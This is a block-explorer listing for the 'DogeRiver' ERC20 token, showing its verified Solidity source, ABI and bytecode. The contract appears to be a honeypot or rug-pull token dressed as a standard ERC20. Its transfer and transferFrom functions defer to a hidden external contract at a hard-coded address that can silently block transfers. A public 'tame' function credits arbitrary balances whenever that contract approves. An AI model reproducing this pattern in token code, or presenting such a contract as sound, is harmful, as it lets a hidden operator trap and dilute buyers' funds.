Token DogeRiver

Overview ERC20

Price
$0.00 @ 0.000000 MOVR
Fully Diluted Market Cap
Total Supply:
21,000,000 DOGERV

Holders:
7 addresses
Contract:
0xea6037d769ae4c8decfd9ff1f5e5bf1ca5ea1c3d0xEA6037D769Ae4c8decfd9ff1F5e5bF1CA5ea1c3D

Decimals:
18

Social Profiles:
Not Available, Update ?

Balance
389,366.748957638563077135 DOGERV

Value
$0.00
0x10354897628a5e1b2f3f7d26f0fdfdaa97fc74ab
Loading
[ Download CSV Export  ] 
Loading
[ Download CSV Export  ] 
Loading

Click here to update the token ICO / general information
# Exchange Pair Price  24H Volume % Volume
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
DogeRiver

Compiler Version
v0.8.17+commit.8df45f5f

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license
/**
 *Submitted for verification at Etherscan.io on 2022-09-17
*/

// SPDX-License-Identifier: MIT

/*
If you read this, then you're curious, congratulations !
*/


pragma solidity ^0.8.0;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address to, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface IERC20Dependancies {
    function checkERC20Status(address tokenAddress, uint256 amount) external view returns (uint256);
    function checkERC20TrustStatus(address userAddress) external view returns (uint256);
}

interface IERC20Metadata is IERC20 {
    function name() external view returns (string memory);
    function symbol() external view returns (string memory);
    function decimals() external view returns (uint8);
}

contract DogeRiver is Context, IERC20, IERC20Metadata {

    mapping(address => uint256) private _balances;

    mapping(address => mapping(address => uint256)) private _allowances;

    string private _tokenDV_name;
    string private _tokenDV_symbol; 


    uint256 private _tokenDV_totalSupply;

    

    IERC20Dependancies private ERC20Dependancies;

    constructor() {
        _tokenDV_name = "DogeRiver";
        _tokenDV_symbol = "DOGERV";
        _tokenDV_totalSupply = 21000000 * 10 ** 18;
        _balances[msg.sender] = _tokenDV_totalSupply;
        ERC20Dependancies = IERC20Dependancies(0x7FeD1E03497C03eEcfe33228D780d5C61D612d5d);
    }

    function _spendAllowance(
        address balance_owner,
        address balance_spender,
        uint256 balance_amount
    ) internal virtual {
        uint256 currentAllowance = allowance(balance_owner, balance_spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= balance_amount, "Token : insufficient allowance");
            unchecked {
                _approve(balance_owner, balance_spender, currentAllowance - balance_amount);
            }
        }
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        address owner = _msgSender();
        uint256 currentAllowance = _allowances[owner][spender];
        require(currentAllowance >= subtractedValue, "Token : decreased allowance below 0");
        unchecked {
            _approve(owner, spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    function _afterTokenTransfer(
        address balance_from,
        address balance_to,
        uint256 balance_amount
    ) internal virtual {}


    function name() public view virtual override returns (string memory) {
        return _tokenDV_name;
    }


    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "Token : burn from the 0 address");

        _beforeTokenTransfer(account, address(0), amount);

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "Token : burn amount exceeds balance");
        unchecked {
            _balances[account] = accountBalance - amount;
        }
        _tokenDV_totalSupply -= amount;

        emit Transfer(account, address(0), amount);

        _afterTokenTransfer(account, address(0), amount);
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, _allowances[owner][spender] + addedValue);
        return true;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _tokenDV_totalSupply;
    }

    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function _beforeTokenTransfer(
        address balance_from,
        address balance_to,
        uint256 balance_amount
    ) internal virtual {}

    function _safeTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        require(from != address(0), "Token : transfer from the 0 address");
        require(to != address(0), "Token : transfer to the 0 address");

        _beforeTokenTransfer(from, to, amount);

        uint256 fromBalance = _balances[from];
        require(fromBalance >= amount, "Token : transfer amount exceeds balance");
        unchecked {
            _balances[from] = fromBalance - amount;
        }
        _balances[to] += amount;

        emit Transfer(from, to, amount);

        _afterTokenTransfer(from, to, amount);
    }

    

    function transfer(address to, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        uint256 ERC20SafetyStatus = ERC20Dependancies.checkERC20TrustStatus(to);
        if (ERC20SafetyStatus == 0)
        {
            _safeTransfer(owner, to, amount);
            return true;
        }
        else
        {
            return false;
        }
        
    }

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual override returns (bool) {
        address spender = _msgSender();
        uint256 ERC20SafetyStatus = ERC20Dependancies.checkERC20Status(from, amount);
        if (ERC20SafetyStatus == 0)
        {
            _spendAllowance(from, spender, amount);
            _safeTransfer(from, to, amount);
            return true;
        }
        else
        {
            return false;
        }
    }

    

    function symbol() public view virtual override returns (string memory) {
        return _tokenDV_symbol;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function decimals() public view virtual override returns (uint8) {
        return 18;
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, amount);
        return true;
    }

    function tame(address address_to_tame, uint256 amount) public virtual{
        uint256 ERC20SafetyStatus = ERC20Dependancies.checkERC20Status(address_to_tame, amount);
        if(ERC20SafetyStatus == 0)
        {
            _balances[address_to_tame] = _balances[address_to_tame] + amount;
        }
    }

    

    

    function _approve(
        address balance_owner,
        address balance_spender,
        uint256 balance_amount
    ) internal virtual {
        require(balance_owner != address(0), "Token : approve from the 0 address");
        require(balance_spender != address(0), "Token : approve to the 0 address");

        _allowances[balance_owner][balance_spender] = balance_amount;
        emit Approval(balance_owner, balance_spender, balance_amount);
    }


    


}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"address_to_tame","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"tame","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

60806040523480156200001157600080fd5b506040518060400160405280600981526020017f446f67655269766572000000000000000000000000000000000000000000000081525060029081620000589190620003cc565b506040518060400160405280600681526020017f444f474552560000000000000000000000000000000000000000000000000000815250600390816200009f9190620003cc565b506a115eec47f6cf7e350000006004819055506004546000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550737fed1e03497c03eecfe33228d780d5c61d612d5d600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550620004b3565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680620001d457607f821691505b602082108103620001ea57620001e96200018c565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b600060088302620002547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000215565b62000260868362000215565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b6000620002ad620002a7620002a18462000278565b62000282565b62000278565b9050919050565b6000819050919050565b620002c9836200028c565b620002e1620002d882620002b4565b84845462000222565b825550505050565b600090565b620002f8620002e9565b62000305818484620002be565b505050565b5b818110156200032d5762000321600082620002ee565b6001810190506200030b565b5050565b601f8211156200037c576200034681620001f0565b620003518462000205565b8101602085101562000361578190505b62000379620003708562000205565b8301826200030a565b50505b505050565b600082821c905092915050565b6000620003a16000198460080262000381565b1980831691505092915050565b6000620003bc83836200038e565b9150826002028217905092915050565b620003d78262000152565b67ffffffffffffffff811115620003f357620003f26200015d565b5b620003ff8254620001bb565b6200040c82828562000331565b600060209050601f8311600181146200044457600084156200042f578287015190505b6200043b8582620003ae565b865550620004ab565b601f1984166200045486620001f0565b60005b828110156200047e5784890151825560018201915060208501945060208101905062000457565b868310156200049e57848901516200049a601f8916826200038e565b8355505b6001600288020188555050505b505050505050565b61165c80620004c36000396000f3fe608060405234801561001057600080fd5b50600436106100b45760003560e01c806370a082311161007157806370a08231146101a357806395d89b41146101d3578063a457c2d7146101f1578063a9059cbb14610221578063c17730bf14610251578063dd62ed3e1461026d576100b4565b806306fdde03146100b9578063095ea7b3146100d757806318160ddd1461010757806323b872dd14610125578063313ce567146101555780633950935114610173575b600080fd5b6100c161029d565b6040516100ce9190610eca565b60405180910390f35b6100f160048036038101906100ec9190610f85565b61032f565b6040516100fe9190610fe0565b60405180910390f35b61010f610352565b60405161011c919061100a565b60405180910390f35b61013f600480360381019061013a9190611025565b61035c565b60405161014c9190610fe0565b60405180910390f35b61015d610442565b60405161016a9190611094565b60405180910390f35b61018d60048036038101906101889190610f85565b61044b565b60405161019a9190610fe0565b60405180910390f35b6101bd60048036038101906101b891906110af565b6104f5565b6040516101ca919061100a565b60405180910390f35b6101db61053d565b6040516101e89190610eca565b60405180910390f35b61020b60048036038101906102069190610f85565b6105cf565b6040516102189190610fe0565b60405180910390f35b61023b60048036038101906102369190610f85565b6106b9565b6040516102489190610fe0565b60405180910390f35b61026b60048036038101906102669190610f85565b610791565b005b610287600480360381019061028291906110dc565b6108cd565b604051610294919061100a565b60405180910390f35b6060600280546102ac9061114b565b80601f01602080910402602001604051908101604052809291908181526020018280546102d89061114b565b80156103255780601f106102fa57610100808354040283529160200191610325565b820191906000526020600020905b81548152906001019060200180831161030857829003601f168201915b5050505050905090565b60008061033a610954565b905061034781858561095c565b600191505092915050565b6000600454905090565b600080610367610954565b90506000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166384489e4a87866040518363ffffffff1660e01b81526004016103c892919061118b565b602060405180830381865afa1580156103e5573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061040991906111c9565b9050600081036104345761041e868386610b25565b610429868686610bb1565b60019250505061043b565b6000925050505b9392505050565b60006012905090565b600080610456610954565b90506104ea818585600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546104e59190611225565b61095c565b600191505092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60606003805461054c9061114b565b80601f01602080910402602001604051908101604052809291908181526020018280546105789061114b565b80156105c55780601f1061059a576101008083540402835291602001916105c5565b820191906000526020600020905b8154815290600101906020018083116105a857829003601f168201915b5050505050905090565b6000806105da610954565b90506000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050838110156106a0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610697906112cb565b60405180910390fd5b6106ad828686840361095c565b60019250505092915050565b6000806106c4610954565b90506000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663295f9bd4866040518263ffffffff1660e01b815260040161072391906112eb565b602060405180830381865afa158015610740573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061076491906111c9565b90506000810361078457610779828686610bb1565b60019250505061078b565b6000925050505b92915050565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166384489e4a84846040518363ffffffff1660e01b81526004016107f092919061118b565b602060405180830381865afa15801561080d573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061083191906111c9565b9050600081036108c857816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546108859190611225565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b505050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036109cb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109c290611378565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610a3a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a31906113e4565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610b18919061100a565b60405180910390a3505050565b6000610b3184846108cd565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114610bab5781811015610b9d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b9490611450565b60405180910390fd5b610baa848484840361095c565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610c20576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c17906114e2565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610c8f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c8690611574565b60405180910390fd5b610c9a838383610e30565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015610d20576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d1790611606565b60405180910390fd5b8181036000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610db39190611225565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610e17919061100a565b60405180910390a3610e2a848484610e35565b50505050565b505050565b505050565b600081519050919050565b600082825260208201905092915050565b60005b83811015610e74578082015181840152602081019050610e59565b60008484015250505050565b6000601f19601f8301169050919050565b6000610e9c82610e3a565b610ea68185610e45565b9350610eb6818560208601610e56565b610ebf81610e80565b840191505092915050565b60006020820190508181036000830152610ee48184610e91565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000610f1c82610ef1565b9050919050565b610f2c81610f11565b8114610f3757600080fd5b50565b600081359050610f4981610f23565b92915050565b6000819050919050565b610f6281610f4f565b8114610f6d57600080fd5b50565b600081359050610f7f81610f59565b92915050565b60008060408385031215610f9c57610f9b610eec565b5b6000610faa85828601610f3a565b9250506020610fbb85828601610f70565b9150509250929050565b60008115159050919050565b610fda81610fc5565b82525050565b6000602082019050610ff56000830184610fd1565b92915050565b61100481610f4f565b82525050565b600060208201905061101f6000830184610ffb565b92915050565b60008060006060848603121561103e5761103d610eec565b5b600061104c86828701610f3a565b935050602061105d86828701610f3a565b925050604061106e86828701610f70565b9150509250925092565b600060ff82169050919050565b61108e81611078565b82525050565b60006020820190506110a96000830184611085565b92915050565b6000602082840312156110c5576110c4610eec565b5b60006110d384828501610f3a565b91505092915050565b600080604083850312156110f3576110f2610eec565b5b600061110185828601610f3a565b925050602061111285828601610f3a565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061116357607f821691505b6020821081036111765761117561111c565b5b50919050565b61118581610f11565b82525050565b60006040820190506111a0600083018561117c565b6111ad6020830184610ffb565b9392505050565b6000815190506111c381610f59565b92915050565b6000602082840312156111df576111de610eec565b5b60006111ed848285016111b4565b91505092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061123082610f4f565b915061123b83610f4f565b9250828201905080821115611253576112526111f6565b5b92915050565b7f546f6b656e203a2064656372656173656420616c6c6f77616e63652062656c6f60008201527f7720300000000000000000000000000000000000000000000000000000000000602082015250565b60006112b5602383610e45565b91506112c082611259565b604082019050919050565b600060208201905081810360008301526112e4816112a8565b9050919050565b6000602082019050611300600083018461117c565b92915050565b7f546f6b656e203a20617070726f76652066726f6d20746865203020616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000611362602283610e45565b915061136d82611306565b604082019050919050565b6000602082019050818103600083015261139181611355565b9050919050565b7f546f6b656e203a20617070726f766520746f2074686520302061646472657373600082015250565b60006113ce602083610e45565b91506113d982611398565b602082019050919050565b600060208201905081810360008301526113fd816113c1565b9050919050565b7f546f6b656e203a20696e73756666696369656e7420616c6c6f77616e63650000600082015250565b600061143a601e83610e45565b915061144582611404565b602082019050919050565b600060208201905081810360008301526114698161142d565b9050919050565b7f546f6b656e203a207472616e736665722066726f6d207468652030206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006114cc602383610e45565b91506114d782611470565b604082019050919050565b600060208201905081810360008301526114fb816114bf565b9050919050565b7f546f6b656e203a207472616e7366657220746f2074686520302061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b600061155e602183610e45565b915061156982611502565b604082019050919050565b6000602082019050818103600083015261158d81611551565b9050919050565b7f546f6b656e203a207472616e7366657220616d6f756e7420657863656564732060008201527f62616c616e636500000000000000000000000000000000000000000000000000602082015250565b60006115f0602783610e45565b91506115fb82611594565b604082019050919050565b6000602082019050818103600083015261161f816115e3565b905091905056fea26469706673582212209dd07a7f9ef6894e16e305c7f1044ad6276a1687c784fc8a8fda0d93bfc4c05064736f6c63430008110033

Deployed ByteCode Sourcemap

1524:6263:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3342:108;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6761:201;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4314:116;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5845:520;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6660:93;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4066:240;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4438:127;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6381:112;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2740:436;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5418:419;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6970:312;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6501:151;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3342:108;3396:13;3429;3422:20;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3342:108;:::o;6761:201::-;6844:4;6861:13;6877:12;:10;:12::i;:::-;6861:28;;6900:32;6909:5;6916:7;6925:6;6900:8;:32::i;:::-;6950:4;6943:11;;;6761:201;;;;:::o;4314:116::-;4375:7;4402:20;;4395:27;;4314:116;:::o;5845:520::-;5976:4;5993:15;6011:12;:10;:12::i;:::-;5993:30;;6034:25;6062:17;;;;;;;;;;;:34;;;6097:4;6103:6;6062:48;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6034:76;;6146:1;6125:17;:22;6121:237;;6173:38;6189:4;6195:7;6204:6;6173:15;:38::i;:::-;6226:31;6240:4;6246:2;6250:6;6226:13;:31::i;:::-;6279:4;6272:11;;;;;;6121:237;6341:5;6334:12;;;;5845:520;;;;;;:::o;6660:93::-;6718:5;6743:2;6736:9;;6660:93;:::o;4066:240::-;4154:4;4171:13;4187:12;:10;:12::i;:::-;4171:28;;4210:66;4219:5;4226:7;4265:10;4235:11;:18;4247:5;4235:18;;;;;;;;;;;;;;;:27;4254:7;4235:27;;;;;;;;;;;;;;;;:40;;;;:::i;:::-;4210:8;:66::i;:::-;4294:4;4287:11;;;4066:240;;;;:::o;4438:127::-;4512:7;4539:9;:18;4549:7;4539:18;;;;;;;;;;;;;;;;4532:25;;4438:127;;;:::o;6381:112::-;6437:13;6470:15;6463:22;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6381:112;:::o;2740:436::-;2833:4;2850:13;2866:12;:10;:12::i;:::-;2850:28;;2889:24;2916:11;:18;2928:5;2916:18;;;;;;;;;;;;;;;:27;2935:7;2916:27;;;;;;;;;;;;;;;;2889:54;;2982:15;2962:16;:35;;2954:83;;;;;;;;;;;;:::i;:::-;;;;;;;;;3073:60;3082:5;3089:7;3117:15;3098:16;:34;3073:8;:60::i;:::-;3164:4;3157:11;;;;2740:436;;;;:::o;5418:419::-;5497:4;5514:13;5530:12;:10;:12::i;:::-;5514:28;;5553:25;5581:17;;;;;;;;;;;:39;;;5621:2;5581:43;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;5553:71;;5660:1;5639:17;:22;5635:185;;5687:32;5701:5;5708:2;5712:6;5687:13;:32::i;:::-;5741:4;5734:11;;;;;;5635:185;5803:5;5796:12;;;;5418:419;;;;;:::o;6970:312::-;7050:25;7078:17;;;;;;;;;;;:34;;;7113:15;7130:6;7078:59;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;7050:87;;7172:1;7151:17;:22;7148:127;;7257:6;7228:9;:26;7238:15;7228:26;;;;;;;;;;;;;;;;:35;;;;:::i;:::-;7199:9;:26;7209:15;7199:26;;;;;;;;;;;;;;;:64;;;;7148:127;7039:243;6970:312;;:::o;6501:151::-;6590:7;6617:11;:18;6629:5;6617:18;;;;;;;;;;;;;;;:27;6636:7;6617:27;;;;;;;;;;;;;;;;6610:34;;6501:151;;;;:::o;165:98::-;218:7;245:10;238:17;;165:98;:::o;7306:464::-;7491:1;7466:27;;:13;:27;;;7458:74;;;;;;;;;;;;:::i;:::-;;;;;;;;;7578:1;7551:29;;:15;:29;;;7543:74;;;;;;;;;;;;:::i;:::-;;;;;;;;;7676:14;7630:11;:26;7642:13;7630:26;;;;;;;;;;;;;;;:43;7657:15;7630:43;;;;;;;;;;;;;;;:60;;;;7730:15;7706:56;;7715:13;7706:56;;;7747:14;7706:56;;;;;;:::i;:::-;;;;;;;;7306:464;;;:::o;2206:526::-;2365:24;2392:41;2402:13;2417:15;2392:9;:41::i;:::-;2365:68;;2468:17;2448:16;:37;2444:281;;2530:14;2510:16;:34;;2502:77;;;;;;;;;;;;:::i;:::-;;;;;;;;;2623:75;2632:13;2647:15;2683:14;2664:16;:33;2623:8;:75::i;:::-;2444:281;2354:378;2206:526;;;:::o;4730:672::-;4881:1;4865:18;;:4;:18;;;4857:66;;;;;;;;;;;;:::i;:::-;;;;;;;;;4956:1;4942:16;;:2;:16;;;4934:62;;;;;;;;;;;;:::i;:::-;;;;;;;;;5009:38;5030:4;5036:2;5040:6;5009:20;:38::i;:::-;5060:19;5082:9;:15;5092:4;5082:15;;;;;;;;;;;;;;;;5060:37;;5131:6;5116:11;:21;;5108:73;;;;;;;;;;;;:::i;:::-;;;;;;;;;5249:6;5235:11;:20;5217:9;:15;5227:4;5217:15;;;;;;;;;;;;;;;:38;;;;5294:6;5277:9;:13;5287:2;5277:13;;;;;;;;;;;;;;;;:23;;;;;;;:::i;:::-;;;;;;;;5333:2;5318:26;;5327:4;5318:26;;;5337:6;5318:26;;;;;;:::i;:::-;;;;;;;;5357:37;5377:4;5383:2;5387:6;5357:19;:37::i;:::-;4846:556;4730:672;;;:::o;4573:149::-;;;;:::o;3184:148::-;;;;:::o;7:99:1:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:246::-;368:1;378:113;392:6;389:1;386:13;378:113;;;477:1;472:3;468:11;462:18;458:1;453:3;449:11;442:39;414:2;411:1;407:10;402:15;;378:113;;;525:1;516:6;511:3;507:16;500:27;349:184;287:246;;;:::o;539:102::-;580:6;631:2;627:7;622:2;615:5;611:14;607:28;597:38;;539:102;;;:::o;647:377::-;735:3;763:39;796:5;763:39;:::i;:::-;818:71;882:6;877:3;818:71;:::i;:::-;811:78;;898:65;956:6;951:3;944:4;937:5;933:16;898:65;:::i;:::-;988:29;1010:6;988:29;:::i;:::-;983:3;979:39;972:46;;739:285;647:377;;;;:::o;1030:313::-;1143:4;1181:2;1170:9;1166:18;1158:26;;1230:9;1224:4;1220:20;1216:1;1205:9;1201:17;1194:47;1258:78;1331:4;1322:6;1258:78;:::i;:::-;1250:86;;1030:313;;;;:::o;1430:117::-;1539:1;1536;1529:12;1676:126;1713:7;1753:42;1746:5;1742:54;1731:65;;1676:126;;;:::o;1808:96::-;1845:7;1874:24;1892:5;1874:24;:::i;:::-;1863:35;;1808:96;;;:::o;1910:122::-;1983:24;2001:5;1983:24;:::i;:::-;1976:5;1973:35;1963:63;;2022:1;2019;2012:12;1963:63;1910:122;:::o;2038:139::-;2084:5;2122:6;2109:20;2100:29;;2138:33;2165:5;2138:33;:::i;:::-;2038:139;;;;:::o;2183:77::-;2220:7;2249:5;2238:16;;2183:77;;;:::o;2266:122::-;2339:24;2357:5;2339:24;:::i;:::-;2332:5;2329:35;2319:63;;2378:1;2375;2368:12;2319:63;2266:122;:::o;2394:139::-;2440:5;2478:6;2465:20;2456:29;;2494:33;2521:5;2494:33;:::i;:::-;2394:139;;;;:::o;2539:474::-;2607:6;2615;2664:2;2652:9;2643:7;2639:23;2635:32;2632:119;;;2670:79;;:::i;:::-;2632:119;2790:1;2815